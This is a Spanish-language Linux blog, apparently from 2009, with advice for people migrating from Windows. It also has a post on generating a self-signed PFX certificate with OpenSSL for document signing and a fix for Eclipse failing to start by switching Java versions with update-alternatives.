  1. Hay que analizar las ventajas de Linux. El nuevo usuario generalmente esta convencido de que Linux es experimental o ineficiente. Para generar una mayor motivación en el potencial usuario solamente debes mostrarle varias cosas que hacen a este sistema una alternativa para su trabajo cotidiano. En mi experiencia se puede motivar a un usuario potencial con los siguientes datos: Primero: En Linux no hay virus, Segundo: Hay varias formas de usar los programas de Windows en Linux (conozco muchos usuarios que han vuelto a windows porque no conocieron el Wine), Tercero: Hay muchos programas, faciles de instalar que satisfacerán sus necesidades, Cuarto: hay asistencia en linea 24 horas en los canales IRC y las listas de correo, usuarios por todo el mundo conectados ayudando a hacer mejor el software. Quinto: "Linux es sobre experimentar" Debes explicarle al nuevo usuario que al contrario del software propietario, en Linux hay millones de opciones y que con el tiempo el escogerá las que mas le gusten. Sexto: Es clave explicar la filosofía del Software Libre, las ventajas que usar S.O. representan y las diferencias con los programas propietarios.

  2. Linux es diferente. En mi opinión es mas fácil de manejar que Windows y MacOS, pero es completamente diferente y esto es uno de los aspectos fundamentales de la deserción temprana en el aprendizaje de un nuevo sistema operativo (Muchas de las quejas a Vista estaban relacionadas con este tema). Esto quiere decir que el proceso de migración llevará un tiempo y requiere cierta paciencia, dependiendo de las habilidades informáticas del aprendiz, las motivaciones en el proceso y el grado de compromiso: Es muy importante explicarle al nuevo usuario que este proceso va a tomar cierto tiempo y que cada día se sentira mejor sabiendo que linux da seguridad, estabilidad y confianza.

  3. Hay que probar de todo. Una buena herramienta para esto son los LiveCD. De esta manera el aprendiz de Linux puede probar muchas distribuciones antes de decidirse por una, igual que con los entornos de escritorio. Explicar la existencia de tantas distribuciones puede ser díficil y si a eso añades los entornos de escritorio, aun más. (Yo antes pensaba que solo existía Windows) Es bueno que el nuevo usuario mire, pruebe y se convenza de todas las herramientas. Yo se que muchos tenemos una distro favorita, pero aveces perdemos usuarios por forzarlos en nuestros propios gustos.

  4. Es importante saber que no debe desinstalar Windows para experimentar con Linux, perfectamente pueden ambos sistemas existir en una maquina, ya sea en participones distinmtas boteandoa al principio una elección o en una maquina virtual como VirtualBox de Sun u otra.

  5. Es muy importante explicarle al nuevo usuario la razón por la cual algunas piezas de hardware solamente funcionan con Windows y verificar que todos sus dispositivos funcionan sin problemas. Para un usuario novato es muy complicado instalar los drivers de una tarjeta NVIDIA, o un controlador de video o la conexión del firewire con la cámara, la wifi, etc. Muchas comunidades OpenSource hacen FERIAS DE INSTALACIÓN donde configuran equipos para que funcionen correctamente y ayudan a la gente que se esta iniciando en este fantastico mundo, ademas de existir un millon de documentacion por la web.

Aunque parecen 5 amenazas o ideas para internalizar, es mejor saber de antemano estas cosas y ponerse a investigar, al final los dispositivos siempre funcionaran mejor q en el ventanukos.



Perder el miedo:

A diferencia de las instalaciones de Sistemas Operativos (S.O.) propietarios como windows, la idea con Linux es que el usuario es libre de instalar y desinstalar el sistema cuantas veces quiera, probar nuevas distribuciones e inclusive tener en la misma maquina Windows. En otros S.O. una nueva instalación generalmente implica la perdida de la información, de programas instalados e inclusive de algunas licencias particulares asociadas a esta instalación. En Linux, formatear es algo sin muchas complicaciones, por esta razón: NO TENGAS MIEDO DE DAÑAR ALGO EN EL SISTEMA.

Para formatear simplemente hay que quemar en un cd/dvd la carpeta personal (aquella que contiene las carpetas /documentos, /videos, / imagenes, etc.) y al comlpetar de nuevo la instalación volver a ponerla en su lugar.

Entonces: ¿Ya viste donde esta la opción de agregar y quitar programas?, instala todo lo que quieras. ¿Quieres experimentar instalando todos los tipos de escritorio disponibles? Hazlo!!!
¿Quieres probar complicados procedimientos que haz encontrado en blogs y foros? Intentalo.
Linux se trata de aprender y "Echando a perder se aprende", trabajando de esta forma no tardaras en tomarle el gusto a linux, la consola, investigar, etc. Te aconsejo ademas que las tareas repetitivas las documentes con el fin de que no vuelvas a invetigar lo ya hecho



Los decálogos, las familias y la comunidad:

En muchos "decálogos" del usuario encontraras que se considera moralmente necesario que pertenezcas a alguna comunidad Linux, colabores y "pongas tu granito de arena". Aunque muchos lo hacemos y es muy recomendable participar, no es una obligación moral. No debes ir a ninguna reunión si no quieres, no debes dar soporte técnico si no quieres y sobretodo no tienes que parecer vendedor de multinivel hablándole a todos tus amigos de Linux si no quieres. Aunque es muy divertido hacer estas cosas y algunas personas te digan que de eso depende el crecimiento del software libre, el simple hecho de usar Linux ya marca una diferencia. De la misma manera, si te quieres pasar a Linux solo porque el sistema funciona mejor que Windows y no por una elección política, esto también es bueno. EL SOFTWARE LIBRE NO SE TRATA DE UNA LUCHA EN CONTRA DE LAS GRANDES EMPRESAS DE SOFTWARE, O DE PERTENECER A UNA COMUNIDAD ESPECIAL. Se trata de tener el control de tu computador y hacer con el lo que quieras sin que esto este regulado por un contrato. Esto es algo que muchos usuarios solo entienden después de un tiempo de pertenecer a alguna comunidad.

Usar Linux no implica usar solamente software libre.


Te sorprenderás cuando encuentres programas de Linux que cuestan dinero, pero existen, inclusive la mayoría de empresas que producen distribuciones de Linux tienen versiones corporativas que están a la venta. Es muy importante que sepas que hay distribuciones que no te permitirán ver contenido en flash (esto incluye sitios de video en formato flv, como youtube), que no reproducen MP3 o videos AVI, MOV o en algunos formatos de DVD. Esto sucede porque los diseñadores del sistema no quieren usar los software privativo dentro de su distribución y formatos como el MP3 no son abiertos. Esta es una decisión política basada en un proceso de mas de 20 años que se ha dado desde la creación de la GPL. Algunas distribuciones, como UBUNTU, dan la opción al usuario de instalar o no contenidos privativos, transfiriendo la decisión al usuario final: USTED.
Si después de escuchar al elocuente Richard Stallman hablar sobre Software libre quieres usar solamente programas libres (e inclusive hacer la sutileza de diferenciar entre código abierto y software libre), es tu decisión. (hay varios videos de stallman en este blog) Es una de las cosas que a mi parecer son mas bonitas de Linux, encontraras distribuciones completamente privativas, que se venden en cajas como cualquier Windows, encontraras proyectos de código abierto como UBUNTU, que te permiten muchas cosas con paquetes privativos y existen distribuciones como Debian Linux que vienen libres de software propietario y la unica distribución 100% Open Source, y una de las mas seguras estables y rapidas.

Para escoger la distro que mas te guste puedes ir a: http://distrowatch.com/ donde podrás escoger entre varios centenares de distribuciones la que mas te guste de acuerdo a tus necesidades, tus gustos e inclusive tus inclinaciones políticas.

lunes, 13 de abril de 2009

Generar Certificado PFX en Linux

Hola, hoy en día la gestión documental cumple un papel importante en las empresas que gestionan gran cantidad de documentos, sean contratos , facturas, ordenes de compra, etc.

Debido a que se han establecidos leyes que promueven la firma digital de documentos, muchas empresas además requieren que sus sistemas de gestión documental, workflow, bpm, etc. cuenten con la característica de poder firmar estos documentos digitalmente.

En Linux y con OpenSSL podemos generar los certificados necesarios para poder firmar los documentos, utilizando las apis de java que proveen esta característica, como las lib's de itext.

Vamos a ver a continuación como generamos estos certificados, utilizando el estándar x509 y el tipo pkcs12.

paso 1:

vamos a la consola y generamos con la siguiente linea de comandos los certificados pem.

slack@zion:~$ openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout certuno.pem -out certuno.pem
Generating a 1024 bit RSA private key
.........................................++++++
...............................++++++
unable to write 'random state'
writing new private key to 'certuno.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CL
State or Province Name (full name) [Some-State]:Region Metropolitana
Locality Name (eg, city) []:Santiago
Organization Name (eg, company) [Internet Widgits Pty Ltd]:0X Chile
Organizational Unit Name (eg, section) []:BPS
Common Name (eg, YOUR name) []:Jorge Salomon
Email Address []:jorgeleonardo.salomon@0x.com

luego debemos importar este certificado pem a formato pfx, el estandar para firmar documentos, para esto debemos imgresar clave al certificado.

paso 2:

slack@zion:~$ openssl pkcs12 -export -out certuno.pfx -in certuno.pem -name "certificado uno"
Enter Export Password:
Verifying - Enter Export Password:

Luego de estos dos pasos, utilizando OpenSSL, podemos utilizar este certificado pfx en cualquier aplicación web para firmar documentos, en mi caso desarrolle una aplicación J2ee que hace esta implementación.

Saludos y Suerte !!

Error al arrancar Eclipse

Hola, en algunos casos el sistema operativo se marea con la jvm que ocupa, esto generalmente ocurre cuando hacemos alguna actualización de algún paquete con el gestor o comando alternatives.
Y cuando queremos arrancar eclipse desde el lanzador del escritorio, simplemente no lo abre. y comenzamos con cuestionamientos... jajajaj..., en este caso lo logico es que queramos abrirlo por consola con el comando

slack@zion:programas/eclipse$ ./eclipse
LOG: [0xb7eb66b0] exception thrown while VM is initializing:
LOG: [0xb7eb66b0] NULL: java.lang.Object
LOG: [0xb7eb66b0] Aborting...
Aborted

desplegando el mensaje de error que se ve, lo bueno de esto es que existe una rapida solución.

En la misma consola ejecutamos el siguiente comando para comprobar las jvm disponibles para usar en el sistema,

slack@zion:~/programas/eclipse$ sudo update-alternatives --config java
[sudo] password for slack:

Hay 2 alternativas que proveen `java'.

Selección Alternativa
-----------------------------------------------
1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java
*+ 2 /usr/lib/jvm/java-6-cacao/jre/bin/java

Pulse para mantener el valor por omisión [*] o pulse un número de selección: 1
Se utiliza `/usr/lib/jvm/java-1.5.0-sun/jre/bin/java' para proporcionar `java'.

Luego comprobamos que la opcion seleccinada sea la que tome el sistema como version de uso para java.

slack@zion:~/programas/eclipse$ java -version
java version "1.5.0_16"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_16-b02)
Java HotSpot(TM) Server VM (build 1.5.0_16-b02, mixed mode)


Con esto debieramos tener solucionado el tema de incompatibilidad de jvm con eclipse, al menos.

Saludos y Suerte !!